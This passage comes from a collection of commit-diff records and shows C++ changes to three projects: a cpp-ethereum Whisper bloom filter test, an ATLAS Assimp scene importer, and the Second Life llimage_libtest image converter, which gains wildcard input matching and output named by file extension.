EQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(!f.contains(b00110000));\n\tBOOST_REQUIRE(!f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(!f.contains(b00000110));\n\tBOOST_REQUIRE(!f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00110111);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(!f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(!f.contains(b00110000));\n\tBOOST_REQUIRE(!f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(!f.contains(b00000110));\n\tBOOST_REQUIRE(!f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n}\n\nBOOST_AUTO_TEST_SUITE_END()<commit_msg>false positive test introduced<commit_after>\/*\nThis file is part of cpp-ethereum.\n\ncpp-ethereum is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\ncpp-ethereum is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with cpp-ethereum. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file whisperMessage.cpp\n* @author Vladislav Gluhovsky <vlad@ethdev.com>\n* @date June 2015\n*\/\n\n#include <boost\/test\/unit_test.hpp>\n#include <libdevcore\/SHA3.h>\n#include <libwhisper\/BloomFilter.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::shh;\n\nvoid testAddNonExisting(TopicBloomFilter& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(!_f.containsRaw(_h));\n\t_f.addRaw(_h);\n\tBOOST_REQUIRE(_f.containsRaw(_h));\n}\n\nvoid testRemoveExisting(TopicBloomFilter& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(_f.containsRaw(_h));\n\t_f.removeRaw(_h);\n\tBOOST_REQUIRE(!_f.containsRaw(_h));\n}\n\nvoid testAddNonExistingBloom(TopicBloomFilter& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(!_f.containsBloom(_h));\n\t_f.addBloom(_h);\n\tBOOST_REQUIRE(_f.containsBloom(_h));\n}\n\nvoid testRemoveExistingBloom(TopicBloomFilter& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(_f.containsBloom(_h));\n\t_f.removeBloom(_h);\n\tBOOST_REQUIRE(!_f.containsBloom(_h));\n}\n\nint calculateExpected(TopicBloomFilter const& f, int const n)\n{\n\tint const m = f.size * 8; \/\/ number of bits in the bloom\n\tint const k = f.BitsPerBloom; \/\/ number of hash functions (e.g. bits set to 1 in every bloom)\n\n\tdouble singleBitSet = 1.0 \/ m; \/\/ probability of any bit being set after inserting a single bit\n\tdouble singleBitNotSet = (1.0 - singleBitSet);\n\n\tdouble singleNot = 1; \/\/ single bit not set after inserting N elements in the bloom filter\n\tfor (int i = 0; i < k * n; ++i)\n\t\tsingleNot *= singleBitNotSet;\n\n\tdouble single = 1.0 - singleNot; \/\/ probability of a single bit being set after inserting N elements in the bloom filter\n\n\tdouble kBitsSet = 1; \/\/ probability of K bits being set after inserting N elements in the bloom filter\n\tfor (int i = 0; i < k; ++i)\n\t\tkBitsSet *= single;\n\n\treturn static_cast<int>(kBitsSet * 100 + 0.5); \/\/ in percents, rounded up\n}\n\nvoid testFalsePositiveRate(TopicBloomFilter const& f, int const inserted, Topic& x)\n{\n\tint const c_sampleSize = 1000;\n\tint falsePositive = 0;\n\n\tfor (int i = 0; i < c_sampleSize; ++i)\n\t{\n\t\tx = sha3(x);\n\t\tAbridgedTopic a(x);\n\t\tif (f.containsBloom(a))\n\t\t\t++falsePositive;\n\t}\n\n\tfalsePositive \/= (c_sampleSize \/ 100); \/\/ in percents\n\tint expected = calculateExpected(f, inserted);\n\tint allowed = expected + (expected \/ 5); \/\/ allow deviations ~20%\n\n\t\/\/cnote << \"Inserted: \" << inserted << \", False Positive Rate: \" << falsePositive << \", Expected: \" << expected;\n\tBOOST_REQUIRE(falsePositive <= allowed);\n}\n\nBOOST_AUTO_TEST_SUITE(bloomFilter)\n\nBOOST_AUTO_TEST_CASE(falsePositiveRate)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Bloom Filter False Positive Rate...\";\n\n\tTopicBloomFilter f;\n\tTopic x(0xABCDEF); \/\/ deterministic pseudorandom value\n\n\tfor (int i = 1; i < 21; ++i)\n\t{\n\t\tx = sha3(x);\n\t\tf.addBloom(AbridgedTopic(x));\n\t\ttestFalsePositiveRate(f, i, x);\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(bloomFilterRandom)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Bloom Filter matching...\";\n\n\tTopicBloomFilter f;\n\tvector<AbridgedTopic> vec;\n\tTopic x(0xDEADBEEF);\n\tint const c_rounds = 4;\n\n\tfor (int i = 0; i < c_rounds; ++i, x = sha3(x))\n\t\tvec.push_back(abridge(x));\n\n\tfor (int i = 0; i < c_rounds; ++i) \n\t\ttestAddNonExisting(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i)\n\t\ttestRemoveExisting(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i) \n\t\ttestAddNonExistingBloom(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i)\n\t\ttestRemoveExistingBloom(f, vec[i]);\n}\n\nBOOST_AUTO_TEST_CASE(bloomFilterRaw)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Raw Bloom matching...\";\n\n\tTopicBloomFilter f;\n\n\tAbridgedTopic b00000001(0x01);\n\tAbridgedTopic b00010000(0x10);\n\tAbridgedTopic b00011000(0x18);\n\tAbridgedTopic b00110000(0x30);\n\tAbridgedTopic b00110010(0x32);\n\tAbridgedTopic b00111000(0x38);\n\tAbridgedTopic b00000110(0x06);\n\tAbridgedTopic b00110110(0x36);\n\tAbridgedTopic b00110111(0x37);\n\n\ttestAddNonExisting(f, b00000001);\n\ttestAddNonExisting(f, b00010000);\t\n\ttestAddNonExisting(f, b00011000);\t\n\ttestAddNonExisting(f, b00110000);\n\tBOOST_REQUIRE(f.contains(b00111000));\t\n\ttestAddNonExisting(f, b00110010);\t\n\ttestAddNonExisting(f, b00000110);\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(f.contains(b00110111));\n\n\tf.removeRaw(b00000001);\n\tf.removeRaw(b00000001);\n\tf.removeRaw(b00000001);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00010000);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00111000);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.addRaw(b00000001);\n\tBOOST_REQUIRE(f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(f.contains(b00110111));\n\n\tf.removeRaw(b00110111);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(!f.contains(b00110000));\n\tBOOST_REQUIRE(!f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(!f.contains(b00000110));\n\tBOOST_REQUIRE(!f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00110111);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(!f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(!f.contains(b00110000));\n\tBOOST_REQUIRE(!f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(!f.contains(b00000110));\n\tBOOST_REQUIRE(!f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n}\n\nBOOST_AUTO_TEST_SUITE_END()<|endoftext|>"} {"text":"<commit_before>\/*\n* This file is part of ATLAS. It is subject to the license terms in\n* the LICENSE file found in the top-level directory of this distribution.\n* (Also avialable at http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt)\n* You may not use this file except in compliance with the License.\n*\/\n#include <iostream>\n#include <assimp\/postprocess.h>\n#include <assimp\/scene.h>\n#include \"AssimpImporter.hpp\"\n\nnamespace AssimpWorker {\n\n\tAssimpImporter::AssimpImporter() : \n\t\timporter()\n\t{\n\t\treturn;\n\t}\n\n\tAssimpImporter::~AssimpImporter(){\n\t\treturn;\n\t}\n\n\tconst aiScene* AssimpImporter::importSceneFromFile(std::string fileName, Log& log){\n\t\timporter.SetPropertyBool(AI_CONFIG_PP_FD_REMOVE, true); \/\/remove degenerate polys\n\t\timporter.SetPropertyBool(AI_CONFIG_IMPORT_NO_SKELETON_MESHES, true); \/\/do not import skeletons\n\t\timporter.SetPropertyBool(AI_CONFIG_IMPORT_COLLADA_IGNORE_UP_DIRECTION, true);\n\t\timporter.SetPropertyInteger(AI_CONFIG_PP_SBP_REMOVE, aiPrimitiveType_LINE | aiPrimitiveType_POINT); \/\/Drop all primitives that aren't triangles\n\t\tconst aiScene* scene = importer.ReadFile(fileName, aiProcessPreset_TargetRealtime_Quality);\n\t\tif (!scene) {\n\t\t\tlog.error(\"Scene not imported: \"+fileName);\n\t\t}\n\t\tlog.error(importer.GetErrorString());\n\t\treturn scene;\n\t}\n\n}\n<commit_msg>Remove no longer necessary assimp import flag<commit_after>\/*\n* This file is part of ATLAS. It is subject to the license terms in\n* the LICENSE file found in the top-level directory of this distribution.\n* (Also avialable at http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt)\n* You may not use this file except in compliance with the License.\n*\/\n#include <iostream>\n#include <assimp\/postprocess.h>\n#include <assimp\/scene.h>\n#include \"AssimpImporter.hpp\"\n\nnamespace AssimpWorker {\n\n\tAssimpImporter::AssimpImporter() : \n\t\timporter()\n\t{\n\t\treturn;\n\t}\n\n\tAssimpImporter::~AssimpImporter(){\n\t\treturn;\n\t}\n\n\tconst aiScene* AssimpImporter::importSceneFromFile(std::string fileName, Log& log){\n\t\timporter.SetPropertyBool(AI_CONFIG_PP_FD_REMOVE, true); \/\/remove degenerate polys\n\t\timporter.SetPropertyBool(AI_CONFIG_IMPORT_NO_SKELETON_MESHES, true); \/\/do not import skeletons\n\t\timporter.SetPropertyInteger(AI_CONFIG_PP_SBP_REMOVE, aiPrimitiveType_LINE | aiPrimitiveType_POINT); \/\/Drop all primitives that aren't triangles\n\t\tconst aiScene* scene = importer.ReadFile(fileName, aiProcessPreset_TargetRealtime_Quality);\n\t\tif (!scene) {\n\t\t\tlog.error(\"Scene not imported: \"+fileName);\n\t\t}\n\t\tlog.error(importer.GetErrorString());\n\t\treturn scene;\n\t}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/** \n * @file llimage_libtest.cpp\n * @author Merov Linden\n * @brief Integration test for the llimage library\n *\n * $LicenseInfo:firstyear=2011&license=viewerlgpl$\n * Second Life Viewer Source Code\n * Copyright (C) 2011, Linden Research, Inc.\n * \n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation;\n * version 2.1 of the License only.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n * \n * Linden Research, Inc., 945 Battery Street, San Francisco, CA 94111 USA\n * $\/LicenseInfo$\n *\/\n#include \"linden_common.h\"\n#include \"llpointer.h\"\n\n#include \"llimage_libtest.h\"\n\n\/\/ Linden library includes\n#include \"llimage.h\"\n#include \"llimagejpeg.h\"\n#include \"llimagepng.h\"\n#include \"llimagebmp.h\"\n#include \"llimagetga.h\"\n#include \"llimagej2c.h\"\n#include \"lldir.h\"\n\n\/\/ system libraries\n#include <iostream>\n\n\/\/ doc string provided when invoking the program with --help \nstatic const char USAGE[] = \"\\n\"\n\"usage:\\tllimage_libtest [options]\\n\"\n\"\\n\"\n\" --help print this help\\n\"\n\" --in <file1> <file2>... list of image files to load and convert\\n\"\n\" --out <file1> <file2>... list of image files to create (assumes same order as --in files)\\n\"\n\"\\n\";\n\n\/\/ Create an empty formatted image instance of the correct type from the filename\nLLPointer<LLImageFormatted> create_image(const std::string &filename)\n{\n\tstd::string exten = gDirUtilp->getExtension(filename);\n\tU32 codec = LLImageBase::getCodecFromExtension(exten);\n\t\n\tLLPointer<LLImageFormatted> image;\n\tswitch (codec)\n\t{\n\t\tcase IMG_CODEC_BMP:\n\t\t\timage = new LLImageBMP();\n\t\t\tbreak;\n\t\tcase IMG_CODEC_TGA:\n\t\t\timage = new LLImageTGA();\n\t\t\tbreak;\n\t\tcase IMG_CODEC_JPEG:\n\t\t\timage = new LLImageJPEG();\n\t\t\tbreak;\n\t\tcase IMG_CODEC_J2C:\n\t\t\timage = new LLImageJ2C();\n\t\t\tbreak;\n\t\tcase IMG_CODEC_PNG:\n\t\t\timage = new LLImagePNG();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn NULL;\n\t}\n\t\n\treturn image;\n}\n\n\/\/ Load an image from file and return a raw (decompressed) instance of its data\nLLPointer<LLImageRaw> load_image(const std::string &src_filename)\n{\n\tLLPointer<LLImageFormatted> image = create_image(src_filename);\n\n\tif (!image->load(src_filename))\n\t{\n\t\treturn NULL;\n\t}\n\t\n\tif(\t(image->getComponents() != 3) && (image->getComponents() != 4) )\n\t{\n\t\tstd::cout << \"Image files with less than 3 or more than 4 components are not supported\\n\";\n\t\treturn NULL;\n\t}\n\t\n\tLLPointer<LLImageRaw> raw_image = new LLImageRaw;\n\tif (!image->decode(raw_image, 0.0f))\n\t{\n\t\treturn NULL;\n\t}\n\t\n\treturn raw_image;\n}\n\n\/\/ Save a raw image instance into a file\nbool save_image(const std::string &dest_filename, LLPointer<LLImageRaw> raw_image)\n{\n\tLLPointer<LLImageFormatted> image = create_image(dest_filename);\n\t\n\tif (!image->encode(raw_image, 0.0f))\n\t{\n\t\treturn false;\n\t}\n\t\n\treturn image->save(dest_filename);\n}\n\nint main(int argc, char** argv)\n{\n\t\/\/ List of input and output files\n\tstd::list<std::string> input_filenames;\n\tstd::list<std::string> output_filenames;\n\n\t\/\/ Init whatever is necessary\n\tll_init_apr();\n\tLLImage::initClass();\n\n\t\/\/ Analyze command line arguments\n\tfor (int arg = 1; arg < argc; ++arg)\n\t{\n\t\tif (!strcmp(argv[arg], \"--help\"))\n\t\t{\n \/\/ Send the usage to standard out\n std::cout << USAGE << std::endl;\n\t\t\treturn 0;\n\t\t}\n\t\telse if (!strcmp(argv[arg], \"--in\") && arg < argc-1)\n\t\t{\n\t\t\tstd::string file_name = argv[arg+1];\n\t\t\twhile (file_name[0] != '-')\t\t\/\/ if arg starts with '-', we consider it's not a file name but some other argument\n\t\t\t{\n\t\t\t\tinput_filenames.push_back(file_name);\t\/\/ Add file name to the list\n\t\t\t\targ += 1;\t\t\t\t\t\/\/ Skip that arg now we know it's a file name\n\t\t\t\tif ((arg + 1) == argc)\t\t\/\/ Break out of the loop if we reach the end of the arg list\n\t\t\t\t\tbreak;\n\t\t\t\tfile_name = argv[arg+1];\t\/\/ Next argument and loop over\n\t\t\t}\n\t\t}\t\t\n\t\telse if (!strcmp(argv[arg], \"--out\") && arg < argc-1)\n\t\t{\n\t\t\tstd::string file_name = argv[arg+1];\n\t\t\twhile (file_name[0] != '-')\t\t\/\/ if arg starts with '-', we consider it's not a file name but some other argument\n\t\t\t{\n\t\t\t\toutput_filenames.push_back(file_name);\t\/\/ Add file name to the list\n\t\t\t\targ += 1;\t\t\t\t\t\/\/ Skip that arg now we know it's a file name\n\t\t\t\tif ((arg + 1) == argc)\t\t\/\/ Break out of the loop if we reach the end of the arg list\n\t\t\t\t\tbreak;\n\t\t\t\tfile_name = argv[arg+1];\t\/\/ Next argument and loop over\n\t\t\t}\n\t\t}\t\t\n\t}\n\t\t\n\t\/\/ Analyze the list of (input,output) files\n\tif (input_filenames.size() == 0)\n\t{\n\t\tstd::cout << \"No input file, nothing to do -> exit\" << std::endl;\n\t\treturn 0;\n\t}\n\t\/\/ TODO: For the moment, we simply convert each input file to something. This needs to evolve...\n\tif (input_filenames.size() != output_filenames.size())\n\t{\n\t\tstd::cout << \"Number of output and input files different -> exit\" << std::endl;\n\t\treturn 0;\n\t}\n\n\tstd::list<std::string>::iterator in_file = input_filenames.begin();\n\tstd::list<std::string>::iterator out_file = output_filenames.begin();\n\tstd::list<std::string>::iterator end = input_filenames.end();\n\tfor (; in_file != end; ++in_file, ++out_file)\n\t{\n\t\t\/\/ Load file\n\t\tLLPointer<LLImageRaw> raw_image = load_image(*in_file);\n\t\tif (!raw_image)\n\t\t{\n\t\t\tstd::cout << \"Error: Image \" << *in_file << \" could not be loaded\" << std::endl;\n\t\t\tcontinue;\n\t\t}\n\t\n\t\t\/\/ Save file\n\t\tif (!save_image(*out_file, raw_image))\n\t\t{\n\t\t\tstd::cout << \"Error: Image \" << *out_file << \" could not be saved\" << std::endl;\n\t\t\tcontinue;\n\t\t}\n\t\tstd::cout << *in_file << \" -> \" << *out_file << std::endl;\n\n\t\t\/\/ Output stats on each file\n\t}\n\t\n\t\/\/ Cleanup and exit\n\tLLImage::cleanupClass();\n\t\n\treturn 0;\n}\n<commit_msg>STORM-987 : Implement in and out list of files and pattern matching<commit_after>\/** \n * @file llimage_libtest.cpp\n * @author Merov Linden\n * @brief Integration test for the llimage library\n *\n * $LicenseInfo:firstyear=2011&license=viewerlgpl$\n * Second Life Viewer Source Code\n * Copyright (C) 2011, Linden Research, Inc.\n * \n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation;\n * version 2.1 of the License only.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n * \n * Linden Research, Inc., 945 Battery Street, San Francisco, CA 94111 USA\n * $\/LicenseInfo$\n *\/\n#include \"linden_common.h\"\n#include \"llpointer.h\"\n\n#include \"llimage_libtest.h\"\n\n\/\/ Linden library includes\n#include \"llimage.h\"\n#include \"llimagejpeg.h\"\n#include \"llimagepng.h\"\n#include \"llimagebmp.h\"\n#include \"llimagetga.h\"\n#include \"llimagej2c.h\"\n#include \"lldir.h\"\n\n\/\/ system libraries\n#include <iostream>\n\n\/\/ doc string provided when invoking the program with --help \nstatic const char USAGE[] = \"\\n\"\n\"usage:\\tllimage_libtest [options]\\n\"\n\"\\n\"\n\" --help print this help\\n\"\n\" --in <file1 .. file2> list of image files to load and convert, patterns can be used\\n\"\n\" --out <file1 .. file2> OR <type> list of image files to create (assumes same order as --in files)\\n\"\n\" OR 3 letters file type extension to convert each input file into\\n\"\n\"\\n\";\n\n\/\/ Create an empty formatted image instance of the correct type from the filename\nLLPointer<LLImageFormatted> create_image(const std::string &filename)\n{\n\tstd::string exten = gDirUtilp->getExtension(filename);\n\tU32 codec = LLImageBase::getCodecFromExtension(exten);\n\t\n\tLLPointer<LLImageFormatted> image;\n\tswitch (codec)\n\t{\n\t\tcase IMG_CODEC_BMP:\n\t\t\timage = new LLImageBMP();\n\t\t\tbreak;\n\t\tcase IMG_CODEC_TGA:\n\t\t\timage = new LLImageTGA();\n\t\t\tbreak;\n\t\tcase IMG_CODEC_JPEG:\n\t\t\timage = new LLImageJPEG();\n\t\t\tbreak;\n\t\tcase IMG_CODEC_J2C:\n\t\t\timage = new LLImageJ2C();\n\t\t\tbreak;\n\t\tcase IMG_CODEC_PNG:\n\t\t\timage = new LLImagePNG();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn NULL;\n\t}\n\t\n\treturn image;\n}\n\n\/\/ Load an image from file and return a raw (decompressed) instance of its data\nLLPointer<LLImageRaw> load_image(const std::string &src_filename)\n{\n\tLLPointer<LLImageFormatted> image = create_image(src_filename);\n\n\tif (!image->load(src_filename))\n\t{\n\t\treturn NULL;\n\t}\n\t\n\tif(\t(image->getComponents() != 3) && (image->getComponents() != 4) )\n\t{\n\t\tstd::cout << \"Image files with less than 3 or more than 4 components are not supported\\n\";\n\t\treturn NULL;\n\t}\n\t\n\tLLPointer<LLImageRaw> raw_image = new LLImageRaw;\n\tif (!image->decode(raw_image, 0.0f))\n\t{\n\t\treturn NULL;\n\t}\n\t\n\treturn raw_image;\n}\n\n\/\/ Save a raw image instance into a file\nbool save_image(const std::string &dest_filename, LLPointer<LLImageRaw> raw_image)\n{\n\tLLPointer<LLImageFormatted> image = create_image(dest_filename);\n\t\n\tif (!image->encode(raw_image, 0.0f))\n\t{\n\t\treturn false;\n\t}\n\t\n\treturn image->save(dest_filename);\n}\n\nvoid store_input_file(std::list<std::string> &input_filenames, const std::string &path)\n{\n\t\/\/ Break the incoming path in its components\n\tstd::string dir = gDirUtilp->getDirName(path);\n\tstd::string name = gDirUtilp->getBaseFileName(path);\n\tstd::string exten = gDirUtilp->getExtension(path);\n\n\t\/\/ std::cout << \"store_input_file : \" << path << \", dir : \" << dir << \", name : \" << name << \", exten : \" << exten << std::endl;\n\t\n\t\/\/ If extension is not an image type or \"*\", exit\n\t\/\/ Note: we don't support complex patterns for the extension like \"j??\"\n\t\/\/ Note: on most shells, the pattern expansion is done by the shell so that pattern matching limitation is actually not a problem\n\tif ((exten.compare(\"*\") != 0) && (LLImageBase::getCodecFromExtension(exten) == IMG_CODEC_INVALID))\n\t{\n\t\treturn;\n\t}\n\n\tif ((name.find('*') != -1) || ((name.find('?') != -1)))\n\t{\n\t\t\/\/ If file name is a pattern, iterate to get each file name and store\n\t\tstd::string next_name;\n\t\twhile (gDirUtilp->getNextFileInDir(dir,name,next_name))\n\t\t{\n\t\t\tstd::string file_name = dir + gDirUtilp->getDirDelimiter() + next_name;\n\t\t\tinput_filenames.push_back(file_name);\n\t\t}\n\t}\n\telse\n\t{\n\t\t\/\/ Verify that the file does exist before storing \n\t\tif (gDirUtilp->fileExists(path))\n\t\t{\n\t\t\tinput_filenames.push_back(path);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tstd::cout << \"store_input_file : the file \" << path << \" could not be found\" << std::endl;\n\t\t}\n\t}\t\n}\n\nvoid store_output_file(std::list<std::string> &output_filenames, std::list<std::string> &input_filenames, const std::string &path)\n{\n\t\/\/ Break the incoming path in its components\n\tstd::string dir = gDirUtilp->getDirName(path);\n\tstd::string name = gDirUtilp->getBaseFileName(path);\n\tstd::string exten = gDirUtilp->getExtension(path);\n\t\n\t\/\/ std::cout << \"store_output_file : \" << path << \", dir : \" << dir << \", name : \" << name << \", exten : \" << exten << std::endl;\n\t\n\tif (dir.empty() && exten.empty())\n\t{\n\t\t\/\/ If dir and exten are empty, we interpret the name as a file extension type name and will iterate through input list to populate the output list\n\t\texten = name;\n\t\t\/\/ Make sure the extension is an image type\n\t\tif (LLImageBase::getCodecFromExtension(exten) == IMG_CODEC_INVALID)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\tstd::string delim = gDirUtilp->getDirDelimiter();\n\t\tstd::list<std::string>::iterator in_file = input_filenames.begin();\n\t\tstd::list<std::string>::iterator end = input_filenames.end();\n\t\tfor (; in_file != end; ++in_file)\n\t\t{\n\t\t\tdir = gDirUtilp->getDirName(*in_file);\n\t\t\tname = gDirUtilp->getBaseFileName(*in_file,true);\n\t\t\tstd::string file_name = dir + delim + name + \".\" + exten;\n\t\t\toutput_filenames.push_back(file_name);\n\t\t}\n\t}\n\telse\n\t{\n\t\t\/\/ Make sure the extension is an image type\n\t\tif (LLImageBase::getCodecFromExtension(exten) == IMG_CODEC_INVALID)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\t\/\/ Store the path\n\t\toutput_filenames.push_back(path);\n\t}\n}\n\nint main(int argc, char** argv)\n{\n\t\/\/ List of input and output files\n\tstd::list<std::string> input_filenames;\n\tstd::list<std::string> output_filenames;\n\n\t\/\/ Init whatever is necessary\n\tll_init_apr();\n\tLLImage::initClass();\n\n\t\/\/ Analyze command line arguments\n\tfor (int arg = 1; arg < argc; ++arg)\n\t{\n\t\tif (!strcmp(argv[arg], \"--help\"))\n\t\t{\n \/\/ Send the usage to standard out\n std::cout << USAGE << std::endl;\n\t\t\treturn 0;\n\t\t}\n\t\telse if (!strcmp(argv[arg], \"--in\") && arg < argc-1)\n\t\t{\n\t\t\tstd::string file_name = argv[arg+1];\n\t\t\twhile (file_name[0] != '-')\t\t\/\/ if arg starts with '-', we consider it's not a file name but some other argument\n\t\t\t{\n\t\t\t\t\/\/ std::cout << \"input file name : \" << file_name << std::endl;\t\t\t\t\n\t\t\t\tstore_input_file(input_filenames, file_name);\n\t\t\t\targ += 1;\t\t\t\t\t\/\/ Skip that arg now we know it's a file name\n\t\t\t\tif ((arg + 1) == argc)\t\t\/\/ Break out of the loop if we reach the end of the arg list\n\t\t\t\t\tbreak;\n\t\t\t\tfile_name = argv[arg+1];\t\/\/ Next argument and loop over\n\t\t\t}\n\t\t\t\/\/ DEBUG output\n\t\t\tstd::list<std::string>::iterator in_file = input_filenames.begin();\n\t\t\tstd::list<std::string>::iterator end = input_filenames.end();\n\t\t\tfor (; in_file != end; ++in_file)\n\t\t\t{\n\t\t\t\tstd::cout << \"input file : \" << *in_file << std::endl;\n\t\t\t}\n\t\t}\n\t\telse if (!strcmp(argv[arg], \"--out\") && arg < argc-1)\n\t\t{\n\t\t\tstd::string file_name = argv[arg+1];\n\t\t\twhile (file_name[0] != '-')\t\t\/\/ if arg starts with '-', we consider it's not a file name but some other argument\n\t\t\t{\n\t\t\t\t\/\/ std::cout << \"output file name : \" << file_name << std::endl;\t\t\t\t\n\t\t\t\tstore_output_file(output_filenames, input_filenames, file_name);\n\t\t\t\targ += 1;\t\t\t\t\t\/\/ Skip that arg now we know it's a file name\n\t\t\t\tif ((arg + 1) == argc)\t\t\/\/ Break out of the loop if we reach the end of the arg list\n\t\t\t\t\tbreak;\n\t\t\t\tfile_name = argv[arg+1];\t\/\/ Next argument and loop over\n\t\t\t}\n\t\t\t\/\/ DEBUG output\n\t\t\tstd::list<std::string>::iterator out_file = output_filenames.begin();\n\t\t\tstd::list<std::string>::iterator end = output_filenames.end();\n\t\t\tfor (; out_file != end; ++out_file)\n\t\t\t{\n\t\t\t\tstd::cout << \"output file : \" << *out_file << std::endl;\n\t\t\t}\n\t\t}\t\t\n\t}\n\t\t\n\t\/\/ Analyze the list of (input,output) files\n\tif (input_filenames.size() == 0)\n\t{\n\t\tstd::cout << \"No input file, nothing to do -> exit\" << std::endl;\n\t\treturn 0;\n\t}\n\n\tstd::list<std::string>::iterator in_file = input_filenames.begin();\n\tstd::list<std::string>::iterator out_file = output_filenames.begin();\n\tstd::list<std::string>::iterator end = input_filenames.end();\n\tfor (; in_file != end; ++in_file, ++out_file)\n\t{\n\t\t\/\/ Load file\n\t\tLLPointer<LLImageRaw> raw_image = load_image(*in_file);\n\t\tif (!raw_image)\n\t\t{\n\t\t\tstd::cout << \"Error: Image \" << *in_file << \" could not be loaded\" << 